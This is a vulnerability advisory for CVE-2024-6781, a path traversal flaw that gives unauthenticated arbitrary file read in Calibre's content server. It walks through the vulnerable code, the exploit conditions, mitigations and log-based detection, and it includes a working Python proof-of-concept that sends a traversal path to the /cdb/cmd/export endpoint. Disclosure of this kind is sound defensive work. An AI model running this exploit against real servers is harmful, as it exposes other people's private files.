Summary
Product | Calibre |
---|---|
Vendor | Calibre |
Severity | High - Unprivileged adversaries may exploit software vulnerabilities to perform relative path traversal to achieve arbitrary file read |
Affected Versions | <= 7.14.0 (latest version as of writing) |
Tested Versions | 7.14.0 |
CVE Identifier | CVE-2024-6781 |
CVE Description | Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) vulnerability allows Relative Path Traversal |
CWE Classification(s) | CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) |
CAPEC Classification(s) | CAPEC-139 Relative Path Traversal |
CVSS3.1 Scoring System
Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | None |
Availability (A) | None |
Product Overview
Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.
Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.
Vulnerability Summary
Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
Vulnerability Details
The source of the vulnerability is in cmd_export.py
, that is called by the cdb.py
router. The router imports a secondary module (in the format cmd_*.py
) based on the incoming HTTP request’s path. In this case, a request to /cdb/cmd/export
will result in the file cmd_export.py
being imported and its implementation()
function will be executed. Additionally, the request body’s content is used as *args
.
The list of
cmd_*.py
files can be obtained from thesrc/calibre/db/cli/
directory.
# src/calibre/srv/cdb.py#L28
@endpoint('/cdb/cmd/{which}/{version=0}', postprocess=msgpack_or_json, methods=receive_data_methods, cache_control='no-cache')
def cdb_run(ctx, rd, which, version):
try:
m = module_for_cmd(which)
except ImportError:
raise HTTPNotFound(f'No module named: {which}')
if not getattr(m, 'readonly', False): # [1]
ctx.check_for_write_access(rd)
[...snip...]
try:
result = m.implementation(db, partial(ctx.notify_changes, db.backend.library_path), *args) # [2]
The vulnerable function is located at cmd_export.py::implementation()
, so at [1], if the readonly
module variable is False
or absent, the function check_for_write_access()
would not trigger and code execution can continue. The implementation()
function of cmd_export.py
module is then executed with user-controlled arguments *args
at [2].
# src/calibre/db/cli/cmd_export.py#L17
readonly = True
[...snip...]
def implementation(db, notify_changes, action, *args):
[...snip..]
if action == 'extra_file':
book_id, relpath, dest = args # args parameter is sourced from request payload sequentially
if is_remote:
from io import BytesIO
output = BytesIO()
db.copy_extra_file_to(book_id, relpath, output) # [3]
return output.getvalue()
db.copy_extra_file_to(book_id, relpath, dest)
The function db.copy_extra_file_to()
at [3], shown below, builds a relative path from the pre-configured library path, reads the file content, then stores its content into the output
variable. The output
BytesIO variable is subsequently returned to the user. Since there were no input sanitisation performed on the user-supplied arguments, this results in an arbitrary file read vulnerability.
# src/calibre/db/backend.py#L2005
def copy_extra_file_to(self, book_id, book_path, relpath, stream_or_path):
full_book_path = os.path.abspath(os.path.join(self.library_path, book_path))
src_path = make_long_path_useable(os.path.join(full_book_path, relpath))
if isinstance(stream_or_path, str):
shutil.copy2(src_path, make_long_path_useable(stream_or_path))
else:
with open(src_path, 'rb') as src:
shutil.copyfileobj(src, stream_or_path)
Exploit Conditions
This vulnerability can be exploited by an unauthenticated attacker with the default configuration of Calibre’s content server which has basic authentication disabled by default, or by any privileged authenticated attacker.
Additionally, the file must be UTF-8 compatible.
Proof-of-Concept
We have tried our best to make the PoC as portable and cross-platform as possible. This report includes a functional exploit written in Python3 that automatically performs the arbitrary file read.
A sample exploit script is shown below:
#! /usr/bin/env python3
# PoC for: CVE-2024-6781
# Description: Unauthenticated arbitrary file read in calibre <= 7.14.0
# Written by: Amos Ng (@LFlare)
import json
import sys
import requests
_target = "http://localhost:8080" # SET ME
_book_id = 1 # ensure book_id exists
def exploit(path):
r = requests.post(
f"{_target}/cdb/cmd/export",
headers={"Content-Type": "application/json"},
json=["extra_file", _book_id, path, ""],
)
try:
print(r.json()["result"])
except Exception:
print(r.text)
if __name__ == "__main__":
exploit("..\\..\\..\\Calibre Settings\\gui.json")
Suggested Mitigations
Ensure that user-supplied input are properly sanitised to prevent path traversals.
Detection Guidance
It is possible to detect potential exploitation of the vulnerability by checking the server’s access logs for POST requests to the /cdb/cmd/export
endpoint.
Credits
Amos Ng (@LFlare) of STAR Labs SG Pte. Ltd. (@starlabs_sg)